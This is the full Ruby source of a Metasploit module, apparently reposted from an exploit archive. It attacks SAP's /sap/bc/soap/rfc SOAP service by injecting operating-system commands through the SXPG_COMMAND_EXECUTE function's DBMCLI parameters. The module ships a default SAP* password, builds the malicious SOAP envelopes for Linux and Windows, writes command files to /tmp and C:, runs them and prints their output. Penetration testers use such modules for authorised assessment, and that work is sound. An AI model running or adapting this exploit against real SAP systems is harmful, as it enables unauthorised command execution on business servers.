SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
##  
# This module is based on, inspired by, or is a port of a plugin available in  
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -  
# http://www.onapsis.com/research-free-solutions.php.  
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts  
# in producing the Metasploit modules and was happy to share his knowledge and  
# experience - a very cool guy. I'd also like to thank Chris John Riley,  
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and  
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection',  
'Description' => %q{  
This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the  
use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.  
},  
'References' =>  
[  
[ 'URL', 'https://labs.f-secure.com/tools/sap-metasploit-modules/' ],  
[ 'URL', 'https://labs.f-secure.com/archive/sap-parameter-injection/' ]  
],  
'Author' =>  
[  
'nmonkee'  
],  
'License' => MSF_LICENSE  
)  
register_options(  
[  
Opt::RPORT(8000),  
OptString.new('CLIENT', [true, 'SAP Client', '001']),  
OptString.new('HttpUsername', [true, 'Username', 'SAP*']),  
OptString.new('HttpPassword', [true, 'Password', '06071992']),  
OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]),  
OptString.new('CMD', [true, 'Command to run', "id"])  
])  
end  
  
def run_host(ip)  
payload = create_payload(1)  
exec_command(ip,payload)  
payload = create_payload(2)  
exec_command(ip,payload)  
end  
  
def create_payload(num)  
command = ""  
os = "ANYOS"  
if datastore['OS'].downcase == "linux"  
if num == 1  
command = "-o /tmp/pwned.txt -n pwnie" + "\n!"  
command << datastore['CMD'].gsub(" ","\t")  
command << "\n"  
end  
command = "-ic /tmp/pwned.txt" if num == 2  
elsif datastore['OS'].downcase == "windows"  
if num == 1  
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"  
space = "%programfiles:~10,1%"  
command << datastore['CMD'].gsub(" ",space)  
end  
command = '-ic c:\\\pwn.out' if num == 2  
end  
data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"  
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"  
data << '<env:Body>' + "\r\n"  
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"  
data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"  
data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"  
data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r\n"  
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"  
data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r\n"  
data << '</env:Body>' + "\r\n"  
data << '</env:Envelope>' + "\r\n"  
return data  
end  
  
def exec_command(ip,data)  
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")  
begin  
res = send_request_cgi({  
'uri' => '/sap/bc/soap/rfc',  
'method' => 'POST',  
'data' => data,  
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",  
'ctype' => 'text/xml; charset=UTF-8',  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),  
'headers' => {  
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',  
},  
'encode_params' => false,  
'vars_get' => {  
'sap-client' => datastore['CLIENT'],  
'sap-language' => 'EN'  
}  
})  
if res  
if res.code != 500 and res.code != 200  
print_error("[SAP] #{ip}:#{rport} - something went wrong!")  
return  
elsif res.body =~ /faultstring/  
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten  
0.upto(error.length-1) do |i|  
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")  
end  
return  
end  
print_status("[SAP] #{ip}:#{rport} - got response")  
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten  
result = []  
0.upto(output.length-1) do |i|  
if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/  
#nothing  
elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/  
#nothing  
elsif output[i] =~ /External program terminated with exit code/  
#nothing  
else  
temp = output[i].gsub("&#62",">")  
temp_ = temp.gsub("&#34","\"")  
temp__ = temp_.gsub("&#39","'")  
result << temp__ + "\n"  
end  
end  
saptbl = Msf::Ui::Console::Table.new(  
Msf::Ui::Console::Table::Style::Default,  
'Header' => "[SAP] SXPG_COMMAND_EXEC dbmcli Command Injection",  
'Prefix' => "\n",  
'Postfix' => "\n",  
'Indent' => 1,  
'Columns' =>["Output"]  
)  
0.upto(result.length/2-1) do |i|  
saptbl << [result[i].chomp]  
end  
print (saptbl.to_s)  
return  
else  
print_error("[SAP] #{ip}:#{rport} - no response")  
end  
rescue ::Rex::ConnectionError  
print_error("[SAP] #{ip}:#{rport} - Unable to connect")  
return  
end  
end  
end  
`